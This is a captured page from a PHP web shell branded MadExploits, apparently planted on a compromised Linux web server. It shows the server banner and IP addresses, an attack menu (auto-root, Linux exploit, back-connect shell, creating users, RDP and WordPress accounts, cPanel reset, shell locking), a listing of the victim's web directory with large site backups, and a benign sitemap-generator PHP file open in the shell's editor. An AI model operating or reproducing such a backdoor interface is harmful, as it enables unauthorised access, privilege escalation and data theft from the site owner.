Linux 45-56-67-123 5.14.0-503.16.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Dec 13 01:47:05 EST 2024 x86_64
Apache/2.4.62 (AlmaLinux) OpenSSL/3.2.2
: 45.56.67.123 | : 18.116.37.113
Cant Read [ /etc/named.conf ]
8.3.15
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
afra /
192.testproject.work /
[ HOME SHELL ]
Name
Size
Permission
Action
E-Learning
[ DIR ]
drwxr-xr-x
afaa-img
[ DIR ]
drwxr-xr-x
database_258
[ DIR ]
drwxr-xr-x
khonrakgame
[ DIR ]
drwxr-xr-x
maracar7
[ DIR ]
drwxr-xr-x
maracar8
[ DIR ]
drwxr-xr-x
mysql
[ DIR ]
drwxr-xr-x
website2022
[ DIR ]
drwxr-xr-x
website2024
[ DIR ]
drwxr-xr-x
website2025
[ DIR ]
drwxr-xr-x
backup_kokko_230325.tar.gz
11.5
GB
-rw-r--r--
backup_kurt_270225_22.tar.gz
98.07
MB
-rw-r--r--
backup_tttwebsite_270325.tar.g...
278.94
MB
-rw-r--r--
backup_tubkwang_220325.tar.gz
7.22
GB
-rw-r--r--
block_ips.sh
442
B
-rwxr-xr-x
block_list.json
43.07
KB
-rwxr-xr-x
cpu_usage.csv
1.21
KB
-rwxr-xr-x
create_block_list.sh
896
B
-rwxr-xr-x
elementor-pro-3.28.2.zip
4.08
MB
-rw-r--r--
gen_sitemap_travel_blog_ttt.ph...
3.86
KB
-rw-r--r--
gen_sitemap_ttt_website.php
4.89
KB
-rw-r--r--
gen_sitemap_ttt_website_img_al...
5
KB
-rw-r--r--
generate_sitemap.php
3.77
KB
-rw-r--r--
generate_sitemap_image.php
3.78
KB
-rw-r--r--
index.html
4.49
KB
-rwxr-xr-x
info.php
20
B
-rwxr-xr-x
myscript-check-cpu.sh
1.04
KB
-rwxr-xr-x
unban_all_ips.sh
630
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : gen_sitemap_travel_blog_ttt.php
<?php // /var/www/afra/192.testproject.work/gen_sitemap_travel_blog_ttt.php // php /var/www/afra/192.testproject.work/gen_sitemap_travel_blog_ttt.php // -------------------------------------------------------------- // 1) ตั้งค่าพื้นฐาน // -------------------------------------------------------------- $config = [ 'api_url' => 'https://py.afaa.website/travel/api/view?limit=87&ProductCategoryID=4&ProductCategoryID2=83', // URL API 'base_url' => 'https://blog.ttt-website.com', // URL หลักของบล็อก 'output_file' => '/var/www/afra/blog.ttt-website.com/sitemap_travel.xml', // ไฟล์ Sitemap ]; // -------------------------------------------------------------- // 2) ดึงข้อมูลจาก API // -------------------------------------------------------------- $api_response = file_get_contents($config['api_url']); if ($api_response === false) { die("Failed to fetch data from API: " . $config['api_url']); } $api_data = json_decode($api_response, true); if (json_last_error() !== JSON_ERROR_NONE) { die("Failed to parse JSON from API response: " . json_last_error_msg()); } // ตรวจสอบว่า API คืนข้อมูล jobs หรือไม่ if (!isset($api_data['jobs']) || !is_array($api_data['jobs'])) { die("No jobs data found in API response."); } // -------------------------------------------------------------- // 3) สร้าง XML Sitemap // -------------------------------------------------------------- $xmlContent = '<?xml version="1.0" encoding="UTF-8"?>' . PHP_EOL; $xmlContent .= '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL; // -------------------------------------------------------------- // 4) เพิ่ม URL พื้นฐานที่กำหนดให้ // -------------------------------------------------------------- $static_urls = [ ['loc' => 'https://blog.ttt-website.com/', 'lastmod' => '2025-02-25', 'priority' => '1.00'], ['loc' => 'https://blog.ttt-website.com/travel/', 'lastmod' => '2025-02-25', 'priority' => '0.90'] ]; foreach ($static_urls as $url) { $xmlContent .= " <url>\n"; $xmlContent .= " <loc>{$url['loc']}</loc>\n"; $xmlContent .= " <lastmod>{$url['lastmod']}</lastmod>\n"; $xmlContent .= " <priority>{$url['priority']}</priority>\n"; $xmlContent .= " </url>\n"; } // -------------------------------------------------------------- // 5) ดึงข้อมูลจาก API และเพิ่มลงใน Sitemap // -------------------------------------------------------------- foreach ($api_data['jobs'] as $job) { if (!empty($job['Job_ID']) && !empty($job['Job_Date'])) { $job_id = $job['Job_ID']; $lastmod = $job['Job_Date']; $job_name = htmlspecialchars($job['Job_Name'] ?? 'Unnamed Job'); $xmlContent .= " <url>\n"; $xmlContent .= " <loc>{$config['base_url']}/travel/id-{$job_id}/{$job_name}</loc>\n"; $xmlContent .= " <lastmod>{$lastmod}</lastmod>\n"; $xmlContent .= " <priority>0.80</priority>\n"; $xmlContent .= " <!-- {$job_name} -->\n"; $xmlContent .= " </url>\n"; } } // ปิดแท็ก urlset $xmlContent .= '</urlset>'; // -------------------------------------------------------------- // 6) เขียนไฟล์ Sitemap // -------------------------------------------------------------- if (!is_writable(dirname($config['output_file']))) { die("Directory is not writable: " . dirname($config['output_file'])); } file_put_contents($config['output_file'], $xmlContent); // -------------------------------------------------------------- // 7) แจ้งผลลัพธ์ // -------------------------------------------------------------- echo "Sitemap generated at: " . $config['output_file'] . PHP_EOL; ?>
Close